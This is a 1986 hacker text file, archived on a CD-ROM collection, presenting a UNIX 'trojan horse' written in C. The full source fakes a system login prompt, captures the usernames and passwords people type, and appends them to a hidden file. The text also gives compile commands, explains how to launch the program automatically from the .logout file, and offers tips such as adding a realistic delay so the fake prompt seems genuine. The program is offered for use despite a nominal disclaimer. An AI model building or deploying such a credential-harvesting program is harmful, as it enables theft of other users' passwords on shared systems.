home *** CD-ROM | disk | FTP | other *** search
/ The Hacker's Encyclopedia 1998 / hackers_encyclopedia.iso / hacking / unix / sharksfi.doc < prev    next >
Encoding:
Text File  |  2003-06-11  |  3.1 KB  |  105 lines

  1.  
  2. -------------------
  3. A UNIX Trojan Horse
  4. -------------------
  5.  
  6. Written By Shooting Shark on 10 June 1986.  Released by Tiburon Systems
  7. and R0DENTZWARE.
  8.  
  9. Disclaimer : I have *never* used the program below in any capacity except for testing it to see that it does indeed work perf
  10. ectly.  I do not condone the use of such a program.  I am presenting it for information purposes only.  I will not be held li
  11. able for any damages caused by the use of this program.
  12.  
  13. The following is a "trojan horse" program written in C for unix versions 4.2
  14. and 4.3 (berkely unix) using the C-shell.  It might work on other versions of
  15. unix, such as AT&T System V.  I haven't tried it.  This program simulates the
  16. login for a unix machine.  When some poor fool enters his name and password,
  17. they will be written to a file called "stuff" in your home direct ory in the
  18. form:
  19.  
  20.  
  21. user root has password joshua
  22.  
  23. if this file already exists, new password/login hacks will be appended to the
  24. file...thus after you run the program several times you will have a nice
  25. little database of hacked passwords.
  26.  
  27. How To Use The Program
  28. ----------------------
  29.  
  30. First, you'll need to configure the Hsource so that it will look like your
  31. system's login when it is run (see below).  Then, put the source in a file
  32. called horse.c and type the following:
  33.  
  34.  
  35. cc horse.c -lcurses -ltermcap
  36. mv a.out horse
  37.  
  38. and your ready-to-run program will be called 'horse'.  You will have to
  39. invoke horse from a shellscript.  Create a new file and put these two lines
  40. in it:
  41.  
  42.  
  43. horse
  44. login
  45.  
  46. Now when you 'source' this file, the horse program will be invooked and you
  47. can leave your terminal and watch as somebody walks up to it and unknowingly
  48. gives you their password.
  49.  
  50.  
  51. If you like, you can append the above two lines to your ".logout" file,
  52. and whenever you log out, the horse program will be run automatically.
  53.  
  54. ------- source begins here --------
  55.  
  56. /* horse.c  - Trojan Horse program.  For entertainment purposes only.
  57.  * Written by Shooting Shark.
  58.  */
  59.  
  60. #include <curses.h>
  61.  
  62. main()
  63. {
  64. char name[10], password[10];
  65. int i;
  66. FILE *fp, *fopen();
  67. initscr();
  68.  
  69. printf("\n\nPyramid Technology 4.2/5.0 UNIX (tiburon)\n\n\n\nlogin: ");
  70.  
  71. /* You will need to alter the above line so it prints your system's
  72. header.  Each '\n' is a carriage return. */
  73.  
  74.  
  75. scanf("%[^\n]",name);
  76. getchar();
  77. noecho();
  78. printf("Password:");
  79. scanf("%[^\n]",password);
  80. printf("\n");
  81. getchar();
  82. echo();
  83. sleep(5);
  84.  
  85. /* change the 'sleep(x)' above to give a delay similar to the delay your
  86. system gives. An instant "Login incorrect" looks supicious. */
  87.  
  88.  
  89. if ( ( fp = fopen("stuff","a") )  != -1 ) {
  90.         fprintf(fp,"login %s has password %s\n",name,password);
  91.         fclose(fp);
  92.         }
  93.  
  94. printf("Login incorrect\n");
  95. endwin();
  96. }
  97.  
  98. --------- Source ends here. ---------
  99.  
  100. Note : in this program's present form, if somebody hits a ^C while your
  101. program is running, they will be dumped into your shll and you might
  102. be kicked out of your school or whatever.  If you know C, you can add a
  103. signal structure to trap ^C's.
  104.  
  105.